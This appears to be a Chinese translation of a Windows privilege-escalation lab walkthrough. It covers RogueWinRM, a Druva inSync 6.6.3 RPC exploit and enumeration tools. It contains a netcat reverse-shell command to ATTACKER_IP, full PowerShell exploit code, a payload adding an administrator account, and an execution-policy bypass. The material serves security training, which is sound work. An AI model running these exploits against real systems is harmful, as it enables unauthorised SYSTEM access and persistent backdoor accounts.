RogueWinRM 漏洞之所以可行,是因为每当用户(包括非特权用户)在 Windows 中启动 BITS 服务时,它都会使用 SYSTEM 权限自动创建到端口 5985 的连接。端口 5985 通常用于 WinRM 服务,它只是一个公开 Powershell 控制台的端口,可通过网络远程使用。可以将其视为 SSH,但使用 Powershell。

如果由于某种原因,WinRM 服务未在受害服务器上运行,攻击者可以在端口 5985 上启动伪造的 WinRM 服务,并在启动时捕获 BITS 服务所做的身份验证尝试。如果攻击者具有 SeImpersonate 权限,他可以代表连接用户(即 SYSTEM)执行任何命令。

在运行漏洞利用程序之前,我们将启动一个 netcat 监听器来在攻击者的机器上接收反向 shell:

KaliLinux

user@attackerpc$ nc -lvp 4442

然后,使用我们的 Web shell 使用以下命令触发 RogueWinRM 漏洞:

c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"

RogueWinRM exploit execution

注意:漏洞可能需要长达 2 分钟才能生效,因此您的浏览器可能会暂时无响应。如果您多次运行漏洞,就会发生这种情况,因为它必须等待 BITS 服务停止后才能再次启动。BITS 服务将在启动 2 分钟后自动停止。

-p 参数指定漏洞要运行的可执行文件,在本例中为 nc64.exe-a 参数用于将参数传递给可执行文件。由于我们希望 nc64 针对我们的攻击者机器建立反向 shell,因此传递给 netcat 的参数将是 -e cmd.exe ATTACKER_IP 4442

如果所有设置均正确,您应该会得到一个具有 SYSTEM 权限的 shell:

KaliLinux

user@attackerpc$ nc -lvp 4442
Listening on 0.0.0.0 4442
Connection received on 10.10.175.90 49755
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
nt authority\system

Abusing vulnerable software

Unpatched Software

目标系统上安装的软件可以提供各种特权提升机会。与驱动程序一样,组织和用户可能不会像更新操作系统那样频繁地更新它们。您可以使用“wmic”工具列出目标系统上安装的软件及其版本。以下命令将转储它可以收集的有关已安装软件的信息(可能需要大约一分钟才能完成):

wmic product get name,version,vendor

请记住,“wmic product”命令可能不会返回所有已安装的程序。根据某些程序的安装方式,它们可能不会在此处列出。始终值得检查桌面快捷方式、可用服务或通常任何表明可能存在其他易受攻击的软件的痕迹。

一旦我们收集了产品版本信息,我们就可以随时在 exploit-dbpacket storm 或普通的 Google 等网站上在线搜索已安装软件的现有漏洞。

使用 wmic 和 Google,您能找到任何已安装产品上的已知漏洞吗?

Case Study: Druva inSync 6.6.3

目标服务器正在运行 Druva inSync 6.6.3,据 Matteo Malvica 报告,该版本容易受到权限提升的影响。该漏洞是由于一个错误的补丁覆盖了 Chris Lyne 最初报告的另一个漏洞 6.5.0 版本所致。

该软件之所以容易受到攻击,是因为它以 SYSTEM 权限在端口 6064 上运行 RPC(远程过程调用)服务器,只能从本地主机访问。如果您不熟悉 RPC,它只是一种允许给定进程通过网络公开函数(在 RPC 术语中称为过程)的机制,以便其他机器可以远程调用它们。

在 Druva inSync 的案例中,端口 6064 上暴露的程序之一(特别是程序编号 5)允许任何人请求执行任何命令。由于 RPC 服务器以 SYSTEM 身份运行,因此任何命令都会以 SYSTEM 权限执行。

版本 6.5.0 及之前版本上报告的原始漏洞允许无限制地运行任何命令。提供此类功能的最初想法是远程执行 inSync 提供的一些特定二进制文件,而不是任何命令。但是,没有进行任何检查以确保这一点。

他们发布了一个补丁,决定检查执行的命令是否以字符串“C:\ProgramData\Druva\inSync4\”开头,允许的二进制文件应该位于此处。但是,这被证明是不够的,因为您可以简单地进行路径遍历攻击来绕过这种控制。假设您要执行“C:\Windows\System32\cmd.exe”,但它不在允许的路径中;您可以简单地要求服务器运行“C:\ProgramData\Druva\inSync4......\Windows\System32\cmd.exe”,这样就可以成功绕过检查。

要编写一个有效的漏洞利用程序,我们需要了解如何与端口 6064 通信。幸运的是,我们使用的协议很简单,要发送的数据包如下图所示:

Druva Exploit Diagram

第一个数据包只是一个包含固定字符串的 hello 数据包。第二个数据包表示我们要执行过程编号 5,因为这是将为我们执行任何命令的易受攻击的过程。最后两个数据包分别用于发送命令的长度和要执行的命令字符串。

最初由 Matteo Malvica 发布 此处,以下漏洞可用于目标计算机以提升权限并检索此任务的标志。为方便起见,以下是原始漏洞的代码:

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
[System.Net.Sockets.AddressFamily]::InterNetwork,
[System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

您可以弹出 Powershell 控制台并直接粘贴漏洞以执行它(该漏洞也可在目标计算机的“C:\tools\Druva_inSync_exploit.txt”中找到)。请注意,漏洞的默认有效负载(在“$cmd”变量中指定)将在系统中创建一个名为“pwnd”的用户,但不会为其分配管理权限,因此我们可能希望将有效负载更改为更有用的东西。对于这个房间,我们将更改有效负载以运行以下命令:

net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add

这将创建用户“pwnd”,密码为“SimplePass123”,并将其添加到管理员组。如果漏洞利用成功,您应该能够运行以下命令来验证用户“pwnd”是否存在并且属于管理员组:

命令提示符

PS C:\> net user pwnd
User name pwnd
Full Name
Account active Yes
[...]

Local Group Memberships *Administrators *Users
Global Group memberships *None

最后一步,您可以以管理员身份运行命令提示符:

Run Command Prompt as Pwnd

Tools of the Trade

有几种脚本可以以与上一个任务中看到的方式类似的方式进行系统枚举。这些工具可以缩短枚举过程时间并发现不同的潜在特权提升向量。但是,请记住,自动化工具有时会错过特权提升。

以下是一些常用于识别特权提升向量的工具。请随意对这个房间中的任何机器运行它们,看看结果是否与讨论的攻击向量相匹配。

WinPEAS

WinPEAS 是一个脚本,用于枚举目标系统以发现特权升级路径。您可以找到有关 winPEAS 的更多信息,并下载预编译的可执行文件或 .bat 脚本。WinPEAS 将运行与上一个任务中列出的命令类似的命令并打印其输出。winPEAS 的输出可能很长,有时难以阅读。这就是为什么始终将输出重定向到文件是个好习惯,如下所示:

命令提示符

C:\> winpeas.exe > outputfile.txt

WinPEAS 可以在这里下载。

PrivescCheck

PrivescCheck 是一个 PowerShell 脚本,用于在目标系统上搜索常见的特权升级。它提供了 WinPEAS 的替代方案,无需执行二进制文件。

PrivescCheck 可从 此处 下载。

提醒:要在目标系统上运行 PrivescCheck,您可能需要绕过执行策略限制。为此,您可以使用 Set-ExecutionPolicy cmdlet,如下所示。

Powershell

PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force
PS C:\> . .\PrivescCheck.ps1
PS C:\> Invoke-PrivescCheck

WES-NG: Windows Exploit Suggester - Next Generation

某些漏洞提示脚本(例如 winPEAS)将要求您将其上传到目标系统并在那里运行。这可能会导致防病毒软件检测并删除它们。为了避免制造不必要的噪音以引起注意,您可能更喜欢使用 WES-NG,它将在您的攻击机器上运行(例如 Kali 或 TryHackMe AttackBox)。

WES-NG 是一个 Python 脚本,可以在 此处 找到并下载。

安装后,在使用它之前,请键入 wes.py --update 命令以更新数据库。该脚本将引用它创建的数据库来检查是否存在可能导致漏洞的缺失补丁,您可以使用该漏洞来提升您在目标系统上的权限。

要使用该脚本,您需要在目标系统上运行 systeminfo 命令。不要忘记将输出定向到您需要移动到攻击机器的 .txt 文件。

完成后,wes.py 可以按如下方式运行;

KaliLinux

user@kali$ wes.py systeminfo.txt

Metasploit

如果目标系统上已经有 Meterpreter shell,则可以使用“multi/recon/local_exploit_suggester”模块列出可能影响目标系统的漏洞并允许您提升在目标系统上的权限。